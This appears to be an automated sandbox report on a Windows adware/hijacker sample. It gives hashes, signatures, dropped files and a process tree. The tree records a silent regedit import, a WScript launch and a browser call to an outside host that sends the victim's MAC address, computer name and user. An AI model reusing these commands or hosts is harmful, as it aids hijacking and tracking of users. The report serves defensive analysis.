Overview

overview

7

Static

static

5

3c6448aad3...18.exe

windows7-x64

7

3c6448aad3...18.exe

windows10-2004-x64

7

Analysis

  • max time kernel
    93s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-10-2024 22:38

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    3c6448aad3c6230f3a4e2061e1d202f4_JaffaCakes118.exe

  • Size

    29KB

  • MD5

    3c6448aad3c6230f3a4e2061e1d202f4

  • SHA1

    75827c80ee238c047e2fd55d48608909e671c889

  • SHA256

    d708babe2598e2473d12ca347e2942913cc74caed08e8710054a69b9e520ccab

  • SHA512

    99813b533dd30a3bd0977a79f55fc702aeff1730e836f9d1d196a359fee9c56f82530b801d78784646095f2d6ee2b208166656d7d0341a8f69b9958eabb7ce55

  • SSDEEP

    768:jP7p+u1NdEFUtLKbULT5NuYzDdFCMF2b:r9+MNG2FKb+JzDdFCMQb

Score
7/10
discoveryupx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 49 IoCs
    adwarespyware
  • Modifies Internet Explorer start page 1 TTPs 1 IoCs
    stealer
  • Modifies registry class 64 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3c6448aad3c6230f3a4e2061e1d202f4_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\3c6448aad3c6230f3a4e2061e1d202f4_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3200
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c regedit /s "C:\Program Files\Common Files\tk.reg"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4024
      • C:\Windows\SysWOW64\regedit.exe
        regedit /s "C:\Program Files\Common Files\tk.reg"
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Runs .reg file with regedit
        PID:3576
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\SysWow64\WScript.exe" "C:\Program Files\Common Files\oegqpvlpi.mzkai"
      2⤵
      • Checks computer location settings
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Modifies Internet Explorer start page
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Program Files\Internet Explorer\iexplore.exe
        "C:\Program Files\Internet Explorer\iexplore.exe" http://www.54600.com/?byme
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1616
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1616 CREDAT:17410 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1408
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1616 CREDAT:17414 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:5032
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www1.4728.net/setuptj.asp?a_ip=&a_mac=46:8C:69:F2:ED:48&a_cpname=GUMLNLFE&a_user=byme&a_locip=0.0.0.0
      2⤵
      • Modifies Internet Explorer settings
      PID:3720
    • \??\c:\windows\SysWOW64\wscript.exe
      c:\windows\system32\wscript.exe C:\Users\Admin\AppData\Local\Temp\Killme.vbs
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4544

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Program Files\Common Files\oegqpvlpi.mzkai
    Filesize

    43KB

    MD5

    8ec453fbdf17122bdcb919a605284243

    SHA1

    4e50e889ab97ce2847e02c6ad2a1a6d4c7787d7d

    SHA256

    4816a417d1c857d01ca6a43ad5d7ab36add6c4ed4139f7aa8d01c760448b8cb2

    SHA512

    2b73cacf2e617285f4debe3710eb4d05c53e4b31b0d6721b43ee52fdafb00e6fa5966af523c8c969ad3521774aaeceaf561effe2d6558011875386af9e4b459f

    Download Submit

  • C:\Program Files\Common Files\tk.reg
    Filesize

    2KB

    MD5

    03d8d233ce5d8e3e219395d5737ef475

    SHA1

    c05baef5d980d40f8fcb6436713499f6ae453f8a

    SHA256

    1214d861e6846631195567f6a6fc6cf6da63c98aede974dad7d7c10330265ec9

    SHA512

    d39d5913dceb0a5a441ab1859a1cfe9093111e6f5d66358f407dab1f1890ace06f782a116409a182e7b823d48a96f3ee4f543213ecbb2b32ac21bb8839e9ea9b

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GRYMSCZU\suggestions[1].en-US
    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\Killme.vbs
    Filesize

    195B

    MD5

    5b12589e2bfeb38d6518f8a0c4c59c3d

    SHA1

    60e774034f9ee0f13ee916d1e0a00a2a759d0a70

    SHA256

    22541d6db51f34dade19bff96e3d5c07e523d9a260f3121e5dd5765f76089d94

    SHA512

    b1332aa6347424b071f5f273468059578f74e0af2e361633429c4209dd7263287a399e5ce4c37a9acbd8e54f1d9689c9f58ceca3c784b0a9fa1260d353ff9e12

    Download Submit

  • C:\Windows\My.ini
    Filesize

    314B

    MD5

    20f05ff0c3be32e56eea148848360637

    SHA1

    cd2c3d731b6f64f40fd6d77cc5f377433490b9c1

    SHA256

    ba617de13e5a1d492d569ec9f33c2f9ce10aa1be9e3402823c143df3ce5c6dd1

    SHA512

    2f270d247b3d26aadb591c2160b54f8c7f3657974caaee47029802d0379c93e7545afe584de38e7960896eacfc6b92b0f9e78a1f38eba66833b37b63a32a0e6c

    Download Submit

  • memory/3200-0-0x0000000000400000-0x0000000000429000-memory.dmp

    Filesize

    164KB

    Download

  • memory/3200-36-0x0000000000400000-0x0000000000429000-memory.dmp

    Filesize

    164KB

    Download